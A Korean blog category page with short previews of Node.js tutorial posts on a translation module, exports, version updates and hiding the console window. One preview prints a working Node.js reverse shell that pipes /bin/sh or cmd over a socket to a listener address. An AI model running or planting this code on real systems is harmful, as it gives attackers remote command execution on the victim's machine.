본문 바로가기
728x90
반응형

node5

npm - 구글 번역기 모듈(translate-google) npm https://www.npmjs.com/package/translate-google translate-google A free and unlimited for Google Translate, Multi-translation support object input. Latest version: 1.5.0, last published: a year ago. Start using translate-google in your project by running `npm i translate-google`. There are 13 other projects in the npm r www.npmjs.com 설치 npm i translate-google 예제 const translate = require('tra.. 2022. 11. 7.
node.js - 모듈 파일 불러오기(exports) 다음과 같이 모듈 파일을 만들고 export 할 변수, 함수, 클래스들은 위와 같이 exports.{이름} = {변수|함수|클래스}로 지정해준다. require 함수를 통해서 외부의 js 파일을 불러와서 myModule이라는 변수에 대입을 해준다. 실행 결과를 확인하면 myModule 안에는 message라는 변수와 say 함수가 들어있는 것을 확인 가능 이제 각각의 변수와 함수를 사용하기 위해서는 myModule.message myModule.say() 요런식으로 점 뒤에 키워드를 적는다. 실행 결과 요약: [수출하기] var a = 123; exports.a = a; [수입하기] const myModule = require('module.js'); const a = myModule.a; 참고: htt.. 2022. 2. 8.
node.js - 최신 버전으로 업데이트 하기 리눅스에서 "apt install npm"으로 node를 설치한 후 "node -v"로 버전을 확인하면 구버전인 것을 볼 수가 있다. 이를 최신 버전으로 업데이트 하고 싶을 경우 npm으로 n을 글로벌로 다운 받아준 다음 npm install -g n n lts(latest) 버전 node로 업데이트 시키기 n lts 2022. 1. 13.
Node.js - 리버스쉘 [Linux] (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(5050, "127.0.0.1", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })(); [Windows] (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("C:\\Windows\\system32\\cm.. 2021. 12. 4.
Node.js - 윈도우 창을 숨겨주는 라이브러리 https://www.npmjs.com/package/node-hide-console-window node-hide-console-window A node module to toggle your app's console window visibility. www.npmjs.com [설치] npm install node-hide-console-window [사용 방법] import {showConsole, hideConsole} from "node-hide-console-window"; // 콘솔창을 숨기고 싶다면 아래의 함수를 사용. hideConsole(); // 반면에 다시 보이게 하고 싶다면 아래의 함수를 사용. showConsole(); 정확히는 콘솔창을 안보이게 도와주는 라이브러리입니다. 2021. 11. 16.
728x90
반응형